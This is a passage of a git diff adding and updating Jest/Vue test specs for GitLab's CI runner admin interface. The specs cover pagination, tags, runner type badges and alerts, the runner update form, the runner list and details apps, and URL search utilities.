+++ b/spec/frontend/runner/components/runner_pagination_spec.js
@@ -0,0 +1,160 @@
+import { GlPagination } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import RunnerPagination from '~/runner/components/runner_pagination.vue';
+
+const mockStartCursor = 'START_CURSOR';
+const mockEndCursor = 'END_CURSOR';
+
+describe('RunnerPagination', () => {
+ let wrapper;
+
+ const findPagination = () => wrapper.findComponent(GlPagination);
+
+ const createComponent = ({ page = 1, hasPreviousPage = false, hasNextPage = true } = {}) => {
+ wrapper = mount(RunnerPagination, {
+ propsData: {
+ value: {
+ page,
+ },
+ pageInfo: {
+ hasPreviousPage,
+ hasNextPage,
+ startCursor: mockStartCursor,
+ endCursor: mockEndCursor,
+ },
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('When on the first page', () => {
+ beforeEach(() => {
+ createComponent({
+ page: 1,
+ hasPreviousPage: false,
+ hasNextPage: true,
+ });
+ });
+
+ it('Contains the current page information', () => {
+ expect(findPagination().props('value')).toBe(1);
+ expect(findPagination().props('prevPage')).toBe(null);
+ expect(findPagination().props('nextPage')).toBe(2);
+ });
+
+ it('Shows prev page disabled', () => {
+ expect(findPagination().find('[aria-disabled]').text()).toBe('Prev');
+ });
+
+ it('Shows next page link', () => {
+ expect(findPagination().find('a').text()).toBe('Next');
+ });
+
+ it('Goes to the second page', () => {
+ findPagination().vm.$emit('input', 2);
+
+ expect(wrapper.emitted('input')[0]).toEqual([
+ {
+ after: mockEndCursor,
+ page: 2,
+ },
+ ]);
+ });
+ });
+
+ describe('When in between pages', () => {
+ beforeEach(() => {
+ createComponent({
+ page: 2,
+ hasPreviousPage: true,
+ hasNextPage: true,
+ });
+ });
+
+ it('Contains the current page information', () => {
+ expect(findPagination().props('value')).toBe(2);
+ expect(findPagination().props('prevPage')).toBe(1);
+ expect(findPagination().props('nextPage')).toBe(3);
+ });
+
+ it('Shows the next and previous pages', () => {
+ const links = findPagination().findAll('a');
+
+ expect(links).toHaveLength(2);
+ expect(links.at(0).text()).toBe('Prev');
+ expect(links.at(1).text()).toBe('Next');
+ });
+
+ it('Goes to the last page', () => {
+ findPagination().vm.$emit('input', 3);
+
+ expect(wrapper.emitted('input')[0]).toEqual([
+ {
+ after: mockEndCursor,
+ page: 3,
+ },
+ ]);
+ });
+
+ it('Goes to the first page', () => {
+ findPagination().vm.$emit('input', 1);
+
+ expect(wrapper.emitted('input')[0]).toEqual([
+ {
+ before: mockStartCursor,
+ page: 1,
+ },
+ ]);
+ });
+ });
+
+ describe('When in the last page', () => {
+ beforeEach(() => {
+ createComponent({
+ page: 3,
+ hasPreviousPage: true,
+ hasNextPage: false,
+ });
+ });
+
+ it('Contains the current page', () => {
+ expect(findPagination().props('value')).toBe(3);
+ expect(findPagination().props('prevPage')).toBe(2);
+ expect(findPagination().props('nextPage')).toBe(null);
+ });
+
+ it('Shows next page link', () => {
+ expect(findPagination().find('a').text()).toBe('Prev');
+ });
+
+ it('Shows next page disabled', () => {
+ expect(findPagination().find('[aria-disabled]').text()).toBe('Next');
+ });
+ });
+
+ describe('When only one page', () => {
+ beforeEach(() => {
+ createComponent({
+ page: 1,
+ hasPreviousPage: false,
+ hasNextPage: false,
+ });
+ });
+
+ it('does not display pagination', () => {
+ expect(wrapper.html()).toBe('');
+ });
+
+ it('Contains the current page', () => {
+ expect(findPagination().props('value')).toBe(1);
+ });
+
+ it('Shows no more page buttons', () => {
+ expect(findPagination().props('prevPage')).toBe(null);
+ expect(findPagination().props('nextPage')).toBe(null);
+ });
+ });
+});
diff --git a/spec/frontend/runner/components/runner_tags_spec.js b/spec/frontend/runner/components/runner_tags_spec.js
new file mode 100644
index 00000000000..7bb3f65e4ba
--- /dev/null
+++ b/spec/frontend/runner/components/runner_tags_spec.js
@@ -0,0 +1,64 @@
+import { GlBadge } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import RunnerTags from '~/runner/components/runner_tags.vue';
+
+describe('RunnerTags', () => {
+ let wrapper;
+
+ const findBadge = () => wrapper.findComponent(GlBadge);
+ const findBadgesAt = (i = 0) => wrapper.findAllComponents(GlBadge).at(i);
+
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = shallowMount(RunnerTags, {
+ propsData: {
+ tagList: ['tag1', 'tag2'],
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Displays tags text', () => {
+ expect(wrapper.text()).toMatchInterpolatedText('tag1 tag2');
+
+ expect(findBadgesAt(0).text()).toBe('tag1');
+ expect(findBadgesAt(1).text()).toBe('tag2');
+ });
+
+ it('Displays tags with correct style', () => {
+ expect(findBadge().props('size')).toBe('md');
+ expect(findBadge().props('variant')).toBe('info');
+ });
+
+ it('Displays tags with small size', () => {
+ createComponent({
+ props: { size: 'sm' },
+ });
+
+ expect(findBadge().props('size')).toBe('sm');
+ });
+
+ it('Displays tags with a variant', () => {
+ createComponent({
+ props: { variant: 'warning' },
+ });
+
+ expect(findBadge().props('variant')).toBe('warning');
+ });
+
+ it('Is empty when there are no tags', () => {
+ createComponent({
+ props: { tagList: null },
+ });
+
+ expect(wrapper.text()).toBe('');
+ expect(findBadge().exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/runner/components/runner_type_alert_spec.js b/spec/frontend/runner/components/runner_type_alert_spec.js
new file mode 100644
index 00000000000..5b136a77eeb
--- /dev/null
+++ b/spec/frontend/runner/components/runner_type_alert_spec.js
@@ -0,0 +1,61 @@
+import { GlAlert, GlLink } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import RunnerTypeAlert from '~/runner/components/runner_type_alert.vue';
+import { INSTANCE_TYPE, GROUP_TYPE, PROJECT_TYPE } from '~/runner/constants';
+
+describe('RunnerTypeAlert', () => {
+ let wrapper;
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findLink = () => wrapper.findComponent(GlLink);
+
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = shallowMount(RunnerTypeAlert, {
+ propsData: {
+ type: INSTANCE_TYPE,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe.each`
+ type | exampleText | anchor | variant
+ ${INSTANCE_TYPE} | ${'Shared runners are available to every project'} | ${'#shared-runners'} | ${'success'}
+ ${GROUP_TYPE} | ${'Use Group runners when you want all projects in a group'} | ${'#group-runners'} | ${'success'}
+ ${PROJECT_TYPE} | ${'You can set up a specific runner to be used by multiple projects'} | ${'#specific-runners'} | ${'info'}
+ `('When it is an $type level runner', ({ type, exampleText, anchor, variant }) => {
+ beforeEach(() => {
+ createComponent({ props: { type } });
+ });
+
+ it('Describes runner type', () => {
+ expect(wrapper.text()).toMatch(exampleText);
+ });
+
+ it(`Shows a ${variant} variant`, () => {
+ expect(findAlert().props('variant')).toBe(variant);
+ });
+
+ it(`Links to anchor "${anchor}"`, () => {
+ expect(findLink().attributes('href')).toBe(`/help/ci/runners/runners_scope${anchor}`);
+ });
+ });
+
+ describe('When runner type is not correct', () => {
+ it('Does not render content when type is missing', () => {
+ createComponent({ props: { type: undefined } });
+
+ expect(wrapper.html()).toBe('');
+ });
+
+ it('Validation fails for an incorrect type', () => {
+ expect(() => {
+ createComponent({ props: { type: 'NOT_A_TYPE' } });
+ }).toThrow();
+ });
+ });
+});
diff --git a/spec/frontend/runner/components/runner_type_badge_spec.js b/spec/frontend/runner/components/runner_type_badge_spec.js
index 8e52d3398bd..ab5ccf6390f 100644
--- a/spec/frontend/runner/components/runner_type_badge_spec.js
+++ b/spec/frontend/runner/components/runner_type_badge_spec.js
@@ -32,8 +32,14 @@ describe('RunnerTypeBadge', () => {
expect(findBadge().props('variant')).toBe(variant);
});
- it('does not display a badge when type is unknown', () => {
- createComponent({ props: { type: 'AN_UNKNOWN_VALUE' } });
+ it('validation fails for an incorrect type', () => {
+ expect(() => {
+ createComponent({ props: { type: 'AN_UNKNOWN_VALUE' } });
+ }).toThrow();
+ });
+
+ it('does not render content when type is missing', () => {
+ createComponent({ props: { type: undefined } });
expect(findBadge().exists()).toBe(false);
});
diff --git a/spec/frontend/runner/components/runner_type_help_spec.js b/spec/frontend/runner/components/runner_type_help_spec.js
new file mode 100644
index 00000000000..f0d03282f8e
--- /dev/null
+++ b/spec/frontend/runner/components/runner_type_help_spec.js
@@ -0,0 +1,32 @@
+import { GlBadge } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import RunnerTypeHelp from '~/runner/components/runner_type_help.vue';
+
+describe('RunnerTypeHelp', () => {
+ let wrapper;
+
+ const findBadges = () => wrapper.findAllComponents(GlBadge);
+
+ const createComponent = () => {
+ wrapper = mount(RunnerTypeHelp);
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Displays each of the runner types', () => {
+ expect(findBadges().at(0).text()).toBe('shared');
+ expect(findBadges().at(1).text()).toBe('group');
+ expect(findBadges().at(2).text()).toBe('specific');
+ });
+
+ it('Displays runner states', () => {
+ expect(findBadges().at(3).text()).toBe('locked');
+ expect(findBadges().at(4).text()).toBe('paused');
+ });
+});
diff --git a/spec/frontend/runner/components/runner_update_form_spec.js b/spec/frontend/runner/components/runner_update_form_spec.js
new file mode 100644
index 00000000000..6333ed7118a
--- /dev/null
+++ b/spec/frontend/runner/components/runner_update_form_spec.js
@@ -0,0 +1,263 @@
+import { GlForm } from '@gitlab/ui';
+import { createLocalVue, mount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash, { FLASH_TYPES } from '~/flash';
+import RunnerUpdateForm from '~/runner/components/runner_update_form.vue';
+import {
+ INSTANCE_TYPE,
+ GROUP_TYPE,
+ PROJECT_TYPE,
+ ACCESS_LEVEL_REF_PROTECTED,
+ ACCESS_LEVEL_NOT_PROTECTED,
+} from '~/runner/constants';
+import runnerUpdateMutation from '~/runner/graphql/runner_update.mutation.graphql';
+import { runnerData } from '../mock_data';
+
+jest.mock('~/flash');
+
+const mockRunner = runnerData.data.runner;
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('RunnerUpdateForm', () => {
+ let wrapper;
+ let runnerUpdateHandler;
+
+ const findForm = () => wrapper.findComponent(GlForm);
+ const findPausedCheckbox = () => wrapper.findByTestId('runner-field-paused');
+ const findProtectedCheckbox = () => wrapper.findByTestId('runner-field-protected');
+ const findRunUntaggedCheckbox = () => wrapper.findByTestId('runner-field-run-untagged');
+ const findLockedCheckbox = () => wrapper.findByTestId('runner-field-locked');
+
+ const findIpInput = () => wrapper.findByTestId('runner-field-ip-address').find('input');
+
+ const findDescriptionInput = () => wrapper.findByTestId('runner-field-description').find('input');
+ const findMaxJobTimeoutInput = () =>
+ wrapper.findByTestId('runner-field-max-timeout').find('input');
+ const findTagsInput = () => wrapper.findByTestId('runner-field-tags').find('input');
+
+ const findSubmit = () => wrapper.find('[type="submit"]');
+ const findSubmitDisabledAttr = () => findSubmit().attributes('disabled');
+ const submitForm = () => findForm().trigger('submit');
+ const submitFormAndWait = () => submitForm().then(waitForPromises);
+
+ const getFieldsModel = () => ({
+ active: !findPausedCheckbox().element.checked,
+ accessLevel: findProtectedCheckbox().element.checked
+ ? ACCESS_LEVEL_REF_PROTECTED
+ : ACCESS_LEVEL_NOT_PROTECTED,
+ runUntagged: findRunUntaggedCheckbox().element.checked,
+ locked: findLockedCheckbox().element.checked,
+ ipAddress: findIpInput().element.value,
+ maximumTimeout: findMaxJobTimeoutInput().element.value || null,
+ tagList: findTagsInput().element.value.split(',').filter(Boolean),
+ });
+
+ const createComponent = ({ props } = {}) => {
+ wrapper = extendedWrapper(
+ mount(RunnerUpdateForm, {
+ localVue,
+ propsData: {
+ runner: mockRunner,
+ ...props,
+ },
+ apolloProvider: createMockApollo([[runnerUpdateMutation, runnerUpdateHandler]]),
+ }),
+ );
+ };
+
+ const expectToHaveSubmittedRunnerContaining = (submittedRunner) => {
+ expect(runnerUpdateHandler).toHaveBeenCalledTimes(1);
+ expect(runnerUpdateHandler).toHaveBeenCalledWith({
+ input: expect.objectContaining(submittedRunner),
+ });
+
+ expect(createFlash).toHaveBeenLastCalledWith({
+ message: expect.stringContaining('saved'),
+ type: FLASH_TYPES.SUCCESS,
+ });
+
+ expect(findSubmitDisabledAttr()).toBeUndefined();
+ };
+
+ beforeEach(() => {
+ runnerUpdateHandler = jest.fn().mockImplementation(({ input }) => {
+ return Promise.resolve({
+ data: {
+ runnerUpdate: {
+ runner: {
+ ...mockRunner,
+ ...input,
+ },
+ errors: [],
+ },
+ },
+ });
+ });
+
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Form has a submit button', () => {
+ expect(findSubmit().exists()).toBe(true);
+ });
+
+ it('Form fields match data', () => {
+ expect(mockRunner).toMatchObject(getFieldsModel());
+ });
+
+ it('Form prevent multiple submissions', async () => {
+ await submitForm();
+
+ expect(findSubmitDisabledAttr()).toBe('disabled');
+ });
+
+ it('Updates runner with no changes', async () => {
+ await submitFormAndWait();
+
+ // Some fields are not submitted
+ const { ipAddress, runnerType, ...submitted } = mockRunner;
+
+ expectToHaveSubmittedRunnerContaining(submitted);
+ });
+
+ describe('When data is being loaded', () => {
+ beforeEach(() => {
+ createComponent({ props: { runner: null } });
+ });
+
+ it('Form cannot be submitted', () => {
+ expect(findSubmit().props('loading')).toBe(true);
+ });
+
+ it('Form is updated when data loads', async () => {
+ wrapper.setProps({
+ runner: mockRunner,
+ });
+
+ await nextTick();
+
+ expect(mockRunner).toMatchObject(getFieldsModel());
+ });
+ });
+
+ it.each`
+ runnerType | attrDisabled | outcome
+ ${INSTANCE_TYPE} | ${'disabled'} | ${'disabled'}
+ ${GROUP_TYPE} | ${'disabled'} | ${'disabled'}
+ ${PROJECT_TYPE} | ${undefined} | ${'enabled'}
+ `(`When runner is $runnerType, locked field is $outcome`, ({ runnerType, attrDisabled }) => {
+ const runner = { ...mockRunner, runnerType };
+ createComponent({ props: { runner } });
+
+ expect(findLockedCheckbox().attributes('disabled')).toBe(attrDisabled);
+ });
+
+ describe('On submit, runner gets updated', () => {
+ it.each`
+ test | initialValue | findCheckbox | checked | submitted
+ ${'pauses'} | ${{ active: true }} | ${findPausedCheckbox} | ${true} | ${{ active: false }}
+ ${'activates'} | ${{ active: false }} | ${findPausedCheckbox} | ${false} | ${{ active: true }}
+ ${'unprotects'} | ${{ accessLevel: ACCESS_LEVEL_NOT_PROTECTED }} | ${findProtectedCheckbox} | ${true} | ${{ accessLevel: ACCESS_LEVEL_REF_PROTECTED }}
+ ${'protects'} | ${{ accessLevel: ACCESS_LEVEL_REF_PROTECTED }} | ${findProtectedCheckbox} | ${false} | ${{ accessLevel: ACCESS_LEVEL_NOT_PROTECTED }}
+ ${'"runs untagged jobs"'} | ${{ runUntagged: true }} | ${findRunUntaggedCheckbox} | ${false} | ${{ runUntagged: false }}
+ ${'"runs tagged jobs"'} | ${{ runUntagged: false }} | ${findRunUntaggedCheckbox} | ${true} | ${{ runUntagged: true }}
+ ${'locks'} | ${{ runnerType: PROJECT_TYPE, locked: true }} | ${findLockedCheckbox} | ${false} | ${{ locked: false }}
+ ${'unlocks'} | ${{ runnerType: PROJECT_TYPE, locked: false }} | ${findLockedCheckbox} | ${true} | ${{ locked: true }}
+ `('Checkbox $test runner', async ({ initialValue, findCheckbox, checked, submitted }) => {
+ const runner = { ...mockRunner, ...initialValue };
+ createComponent({ props: { runner } });
+
+ await findCheckbox().setChecked(checked);
+ await submitFormAndWait();
+
+ expectToHaveSubmittedRunnerContaining({
+ id: runner.id,
+ ...submitted,
+ });
+ });
+
+ it.each`
+ test | initialValue | findInput | value | submitted
+ ${'description'} | ${{ description: 'Desc. 1' }} | ${findDescriptionInput} | ${'Desc. 2'} | ${{ description: 'Desc. 2' }}
+ ${'max timeout'} | ${{ maximumTimeout: 36000 }} | ${findMaxJobTimeoutInput} | ${'40000'} | ${{ maximumTimeout: 40000 }}
+ ${'tags'} | ${{ tagList: ['tag1'] }} | ${findTagsInput} | ${'tag2, tag3'} | ${{ tagList: ['tag2', 'tag3'] }}
+ `("Field updates runner's $test", async ({ initialValue, findInput, value, submitted }) => {
+ const runner = { ...mockRunner, ...initialValue };
+ createComponent({ props: { runner } });
+
+ await findInput().setValue(value);
+ await submitFormAndWait();
+
+ expectToHaveSubmittedRunnerContaining({
+ id: runner.id,
+ ...submitted,
+ });
+ });
+
+ it.each`
+ value | submitted
+ ${''} | ${{ tagList: [] }}
+ ${'tag1, tag2'} | ${{ tagList: ['tag1', 'tag2'] }}
+ ${'with spaces'} | ${{ tagList: ['with spaces'] }}
+ ${',,,,, commas'} | ${{ tagList: ['commas'] }}
+ ${'more ,,,,, commas'} | ${{ tagList: ['more', 'commas'] }}
+ ${' trimmed , trimmed2 '} | ${{ tagList: ['trimmed', 'trimmed2'] }}
+ `('Field updates runner\'s tags for "$value"', async ({ value, submitted }) => {
+ const runner = { ...mockRunner, tagList: ['tag1'] };
+ createComponent({ props: { runner } });
+
+ await findTagsInput().setValue(value);
+ await submitFormAndWait();
+
+ expectToHaveSubmittedRunnerContaining({
+ id: runner.id,
+ ...submitted,
+ });
+ });
+ });
+
+ describe('On error', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('On network error, error message is shown', async () => {
+ runnerUpdateHandler.mockRejectedValue(new Error('Something went wrong'));
+
+ await submitFormAndWait();
+
+ expect(createFlash).toHaveBeenLastCalledWith({
+ message: 'Network error: Something went wrong',
+ });
+ expect(findSubmitDisabledAttr()).toBeUndefined();
+ });
+
+ it('On validation error, error message is shown', async () => {
+ runnerUpdateHandler.mockResolvedValue({
+ data: {
+ runnerUpdate: {
+ runner: mockRunner,
+ errors: ['A value is invalid'],
+ },
+ },
+ });
+
+ await submitFormAndWait();
+
+ expect(createFlash).toHaveBeenLastCalledWith({
+ message: 'A value is invalid',
+ });
+ expect(findSubmitDisabledAttr()).toBeUndefined();
+ });
+ });
+});
diff --git a/spec/frontend/runner/mock_data.js b/spec/frontend/runner/mock_data.js
new file mode 100644
index 00000000000..8f551feca6e
--- /dev/null
+++ b/spec/frontend/runner/mock_data.js
@@ -0,0 +1,6 @@
+// Fixtures generated by: spec/frontend/fixtures/runner.rb
+export const runnersData = getJSONFixture('graphql/runner/get_runners.query.graphql.json');
+export const runnersDataPaginated = getJSONFixture(
+ 'graphql/runner/get_runners.query.graphql.paginated.json',
+);
+export const runnerData = getJSONFixture('graphql/runner/get_runner.query.graphql.json');
diff --git a/spec/frontend/runner/runner_detail/runner_details_app_spec.js b/spec/frontend/runner/runner_detail/runner_details_app_spec.js
index c61cb647ae6..d0bd701458d 100644
--- a/spec/frontend/runner/runner_detail/runner_details_app_spec.js
+++ b/spec/frontend/runner/runner_detail/runner_details_app_spec.js
@@ -3,12 +3,15 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import RunnerTypeBadge from '~/runner/components/runner_type_badge.vue';
-import { INSTANCE_TYPE } from '~/runner/constants';
import getRunnerQuery from '~/runner/graphql/get_runner.query.graphql';
import RunnerDetailsApp from '~/runner/runner_details/runner_details_app.vue';
-const mockRunnerId = '55';
+import { runnerData } from '../mock_data';
+
+const mockRunnerGraphqlId = runnerData.data.runner.id;
+const mockRunnerId = `${getIdFromGraphQLId(mockRunnerGraphqlId)}`;
const localVue = createLocalVue();
localVue.use(VueApollo);
@@ -35,15 +38,7 @@ describe('RunnerDetailsApp', () => {
};
beforeEach(async () => {
- mockRunnerQuery = jest.fn().mockResolvedValue({
- data: {
- runner: {
- id: `gid://gitlab/Ci::Runner/${mockRunnerId}`,
- runnerType: INSTANCE_TYPE,
- __typename: 'CiRunner',
- },
- },
- });
+ mockRunnerQuery = jest.fn().mockResolvedValue(runnerData);
});
afterEach(() => {
@@ -54,13 +49,13 @@ describe('RunnerDetailsApp', () => {
it('expect GraphQL ID to be requested', async () => {
await createComponentWithApollo();
- expect(mockRunnerQuery).toHaveBeenCalledWith({ id: `gid://gitlab/Ci::Runner/${mockRunnerId}` });
+ expect(mockRunnerQuery).toHaveBeenCalledWith({ id: mockRunnerGraphqlId });
});
it('displays the runner id', async () => {
await createComponentWithApollo();
- expect(wrapper.text()).toContain('Runner #55');
+ expect(wrapper.text()).toContain(`Runner #${mockRunnerId}`);
});
it('displays the runner type', async () => {
diff --git a/spec/frontend/runner/runner_list/runner_list_app_spec.js b/spec/frontend/runner/runner_list/runner_list_app_spec.js
new file mode 100644
index 00000000000..dd913df7143
--- /dev/null
+++ b/spec/frontend/runner/runner_list/runner_list_app_spec.js
@@ -0,0 +1,232 @@
+import * as Sentry from '@sentry/browser';
+import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { TEST_HOST } from 'helpers/test_constants';
+import waitForPromises from 'helpers/wait_for_promises';
+import { updateHistory } from '~/lib/utils/url_utility';
+
+import RunnerFilteredSearchBar from '~/runner/components/runner_filtered_search_bar.vue';
+import RunnerList from '~/runner/components/runner_list.vue';
+import RunnerManualSetupHelp from '~/runner/components/runner_manual_setup_help.vue';
+import RunnerPagination from '~/runner/components/runner_pagination.vue';
+import RunnerTypeHelp from '~/runner/components/runner_type_help.vue';
+
+import {
+ CREATED_ASC,
+ CREATED_DESC,
+ DEFAULT_SORT,
+ INSTANCE_TYPE,
+ PARAM_KEY_STATUS,
+ STATUS_ACTIVE,
+ RUNNER_PAGE_SIZE,
+} from '~/runner/constants';
+import getRunnersQuery from '~/runner/graphql/get_runners.query.graphql';
+import RunnerListApp from '~/runner/runner_list/runner_list_app.vue';
+
+import { runnersData, runnersDataPaginated } from '../mock_data';
+
+const mockRegistrationToken = 'MOCK_REGISTRATION_TOKEN';
+const mockActiveRunnersCount = 2;
+
+jest.mock('@sentry/browser');
+jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
+ updateHistory: jest.fn(),
+}));
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('RunnerListApp', () => {
+ let wrapper;
+ let mockRunnersQuery;
+ let originalLocation;
+
+ const findRunnerTypeHelp = () => wrapper.findComponent(RunnerTypeHelp);
+ const findRunnerManualSetupHelp = () => wrapper.findComponent(RunnerManualSetupHelp);
+ const findRunnerList = () => wrapper.findComponent(RunnerList);
+ const findRunnerPagination = () => wrapper.findComponent(RunnerPagination);
+ const findRunnerFilteredSearchBar = () => wrapper.findComponent(RunnerFilteredSearchBar);
+
+ const createComponentWithApollo = ({ props = {}, mountFn = shallowMount } = {}) => {
+ const handlers = [[getRunnersQuery, mockRunnersQuery]];
+
+ wrapper = mountFn(RunnerListApp, {
+ localVue,
+ apolloProvider: createMockApollo(handlers),
+ propsData: {
+ activeRunnersCount: mockActiveRunnersCount,
+ registrationToken: mockRegistrationToken,
+ ...props,
+ },
+ });
+ };
+
+ const setQuery = (query) => {
+ window.location.href = `${TEST_HOST}/admin/runners/${query}`;
+ window.location.search = query;
+ };
+
+ beforeAll(() => {
+ originalLocation = window.location;
+ Object.defineProperty(window, 'location', { writable: true, value: { href: '', search: '' } });
+ });
+
+ afterAll(() => {
+ window.location = originalLocation;
+ });
+
+ beforeEach(async () => {
+ setQuery('');
+
+ Sentry.withScope.mockImplementation((fn) => {
+ const scope = { setTag: jest.fn() };
+ fn(scope);
+ });
+
+ mockRunnersQuery = jest.fn().mockResolvedValue(runnersData);
+ createComponentWithApollo();
+ await waitForPromises();
+ });
+
+ afterEach(() => {
+ mockRunnersQuery.mockReset();
+ wrapper.destroy();
+ });
+
+ it('shows the runners list', () => {
+ expect(runnersData.data.runners.nodes).toMatchObject(findRunnerList().props('runners'));
+ });
+
+ it('requests the runners with no filters', () => {
+ expect(mockRunnersQuery).toHaveBeenLastCalledWith({
+ status: undefined,
+ type: undefined,
+ sort: DEFAULT_SORT,
+ first: RUNNER_PAGE_SIZE,
+ });
+ });
+
+ it('shows the runner type help', () => {
+ expect(findRunnerTypeHelp().exists()).toBe(true);
+ });
+
+ it('shows the runner setup instructions', () => {
+ expect(findRunnerManualSetupHelp().exists()).toBe(true);
+ expect(findRunnerManualSetupHelp().props('registrationToken')).toBe(mockRegistrationToken);
+ });
+
+ describe('when a filter is preselected', () => {
+ beforeEach(async () => {
+ window.location.search = `?status[]=${STATUS_ACTIVE}&runner_type[]=${INSTANCE_TYPE}`;
+
+ createComponentWithApollo();
+ await waitForPromises();
+ });
+
+ it('sets the filters in the search bar', () => {
+ expect(findRunnerFilteredSearchBar().props('value')).toEqual({
+ filters: [
+ { type: 'status', value: { data: STATUS_ACTIVE, operator: '=' } },
+ { type: 'runner_type', value: { data: INSTANCE_TYPE, operator: '=' } },
+ ],
+ sort: 'CREATED_DESC',
+ pagination: { page: 1 },
+ });
+ });
+
+ it('requests the runners with filter parameters', () => {
+ expect(mockRunnersQuery).toHaveBeenLastCalledWith({
+ status: STATUS_ACTIVE,
+ type: INSTANCE_TYPE,
+ sort: DEFAULT_SORT,
+ first: RUNNER_PAGE_SIZE,
+ });
+ });
+ });
+
+ describe('when a filter is selected by the user', () => {
+ beforeEach(() => {
+ findRunnerFilteredSearchBar().vm.$emit('input', {
+ filters: [{ type: PARAM_KEY_STATUS, value: { data: 'ACTIVE', operator: '=' } }],
+ sort: CREATED_ASC,
+ });
+ });
+
+ it('updates the browser url', () => {
+ expect(updateHistory).toHaveBeenLastCalledWith({
+ title: expect.any(String),
+ url: 'http://test.host/admin/runners/?status[]=ACTIVE&sort=CREATED_ASC',
+ });
+ });
+
+ it('requests the runners with filters', () => {
+ expect(mockRunnersQuery).toHaveBeenLastCalledWith({
+ status: STATUS_ACTIVE,
+ sort: CREATED_ASC,
+ first: RUNNER_PAGE_SIZE,
+ });
+ });
+ });
+
+ describe('when no runners are found', () => {
+ beforeEach(async () => {
+ mockRunnersQuery = jest.fn().mockResolvedValue({ data: { runners: { nodes: [] } } });
+ createComponentWithApollo();
+ await waitForPromises();
+ });
+
+ it('shows a message for no results', async () => {
+ expect(wrapper.text()).toContain('No runners found');
+ });
+ });
+
+ it('when runners have not loaded, shows a loading state', () => {
+ createComponentWithApollo();
+ expect(findRunnerList().props('loading')).toBe(true);
+ });
+
+ describe('when runners query fails', () => {
+ beforeEach(async () => {
+ mockRunnersQuery = jest.fn().mockRejectedValue(new Error());
+ createComponentWithApollo();
+
+ await waitForPromises();
+ });
+
+ it('error is reported to sentry', async () => {
+ expect(Sentry.withScope).toHaveBeenCalled();
+ expect(Sentry.captureException).toHaveBeenCalled();
+ });
+ });
+
+ describe('Pagination', () => {
+ beforeEach(() => {
+ mockRunnersQuery = jest.fn().mockResolvedValue(runnersDataPaginated);
+
+ createComponentWithApollo({ mountFn: mount });
+ });
+
+ it('more pages can be selected', () => {
+ expect(findRunnerPagination().text()).toMatchInterpolatedText('Prev Next');
+ });
+
+ it('cannot navigate to the previous page', () => {
+ expect(findRunnerPagination().find('[aria-disabled]').text()).toBe('Prev');
+ });
+
+ it('navigates to the next page', async () => {
+ const nextPageBtn = findRunnerPagination().find('a');
+ expect(nextPageBtn.text()).toBe('Next');
+
+ await nextPageBtn.trigger('click');
+
+ expect(mockRunnersQuery).toHaveBeenLastCalledWith({
+ sort: CREATED_DESC,
+ first: RUNNER_PAGE_SIZE,
+ after: runnersDataPaginated.data.runners.pageInfo.endCursor,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/runner/runner_list/runner_search_utils_spec.js b/spec/frontend/runner/runner_list/runner_search_utils_spec.js
new file mode 100644
index 00000000000..a1f33e9c880
--- /dev/null
+++ b/spec/frontend/runner/runner_list/runner_search_utils_spec.js
@@ -0,0 +1,239 @@
+import { RUNNER_PAGE_SIZE } from '~/runner/constants';
+import {
+ fromUrlQueryToSearch,
+ fromSearchToUrl,
+ fromSearchToVariables,
+} from '~/runner/runner_list/runner_search_utils';
+
+describe('search_params.js', () => {
+ const examples = [
+ {
+ name: 'a default query',
+ urlQuery: '',
+ search: { filters: [], pagination: { page: 1 }, sort: 'CREATED_DESC' },
+ graphqlVariables: { sort: 'CREATED_DESC', first: RUNNER_PAGE_SIZE },
+ },
+ {
+ name: 'a single status',
+ urlQuery: '?status[]=ACTIVE',
+ search: {
+ filters: [{ type: 'status', value: { data: 'ACTIVE', operator: '=' } }],
+ pagination: { page: 1 },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: { status: 'ACTIVE', sort: 'CREATED_DESC', first: RUNNER_PAGE_SIZE },
+ },
+ {
+ name: 'a single term text search',
+ urlQuery: '?search=something',
+ search: {
+ filters: [
+ {
+ type: 'filtered-search-term',
+ value: { data: 'something' },
+ },
+ ],
+ pagination: { page: 1 },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: { search: 'something', sort: 'CREATED_DESC', first: RUNNER_PAGE_SIZE },
+ },
+ {
+ name: 'a two terms text search',
+ urlQuery: '?search=something+else',
+ search: {
+ filters: [
+ {
+ type: 'filtered-search-term',
+ value: { data: 'something' },
+ },
+ {
+ type: 'filtered-search-term',
+ value: { data: 'else' },
+ },
+ ],
+ pagination: { page: 1 },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: { search: 'something else', sort: 'CREATED_DESC', first: RUNNER_PAGE_SIZE },
+ },
+ {
